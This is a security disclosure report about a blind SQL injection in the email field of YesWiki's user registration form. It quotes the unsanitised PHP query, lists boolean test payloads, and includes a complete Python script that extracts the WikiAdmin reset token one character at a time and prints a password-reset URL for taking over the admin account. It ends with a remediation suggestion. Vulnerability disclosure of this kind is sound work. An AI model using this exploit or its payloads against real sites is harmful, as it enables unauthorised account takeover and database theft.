SQL Injection in yeswiki/yeswiki
Reported on
Oct 19th 2021
Description
A boolean-based SQL Injection vulnerability has been found in the email
parameter of the registration form. When a new user registers, the application first checks if the email exists through the emailExistsInDB
function located in line 999
of the User.class.php
. As you can see, it does not make use of mysqli_real_escape_string
or any other sanitization method on user input.
protected function emailExistsInDB($email)
{
/* Build sql query*/
$sql = 'SELECT * FROM '.$this->usersTable;
$sql .= ' WHERE email = "'.$email.'";';
/* Execute query */
$results = $this->wiki->loadAll($sql);
return $results; // If the password does not already exist in DB, $result is an empty table => false
}
Proof of Concept
- Register a new user with any email address () via Sign Up Form.
- Return to user registration, enter the same email address from step 1 and intercept the request (you can use Burp Suite Community.
- Modify the value of the email parameter with the following payloads:
3.1 TRUE --> Payload
[EMAIL-STEP-1]"+AND+1=1#
--> ReturnThe specified email is allready in use on this wiki
3.1 FALSE --> Payload[EMAIL-STEP-1]"+AND+1=2#
--> ReturnThis is not a valid email address
Exploit python code to extract md5 value to reset admin password (previously you must request the change in the form "I forgot my password")
#Author: @jjavierolmedo - hackpuntes.com
#Reset WikiAdmin Password via SQL Injection
import sys, requests
proxies = {'http':'','https':''}
def get_sqldata(ip):
query = "select value from yeswiki_triples where resource='WikiAdmin'"
extracted = ""
i=1
while True:
injection = '" AND ascii(substring(({query}),{i},1))=[CHAR]#'.format(query=query, i=i)
retrieved_value = get_char(ip, injection)
if(retrieved_value):
extracted += chr(retrieved_value)
extracted_char = chr(retrieved_value)
sys.stdout.write(extracted_char)
sys.stdout.flush()
else:
print(" done!")
break
i += 1
return extracted
def get_char(ip, injection):
validation = "The specified email is allready in use on this wiki"
for i in range(32, 126):
url = "{ip}/?ParametresUtilisateur".format(ip=ip)
chart = injection.replace("[CHAR]", str(i))
data = {
"usersettings_action":"signup",
"name":"test",
"email":'test@test.com' + chart,
"password":"123456",
"confpassword":"123456"
}
r = requests.post(url, data=data, proxies=proxies, verify=False)
if(validation in r.text):
return i
return None
def main():
if len(sys.argv) != 2:
print("[!] Usage: python {script} <IP>".format(script=sys.argv[0]))
print("[!] Example: python {script} http://yeswiki.test".format(script=sys.argv[0]))
exit()
ip = sys.argv[1]
admintoken = get_sqldata(ip)
print("[+] Use this URL to reset Admin Password: {ip}/?MotDePassePerdu&a=recover&email={admintoken}&u=V2lraUFkbWlu".format(ip=ip, admintoken=admintoken))
if __name__ == "__main__":
try:
main()
except KeyboardInterrupt:
print("[-] User aborted session\n")
exit()
Impact
A malicious user could access any information in the database used by the application.
Remediation
Sanitize the user input, e.g., make use of the mysqli_real_escape_string
Occurrences
User.class.php L1003
$sql .= ' WHERE email = "'.mysqli_real_escape_string($email).'";';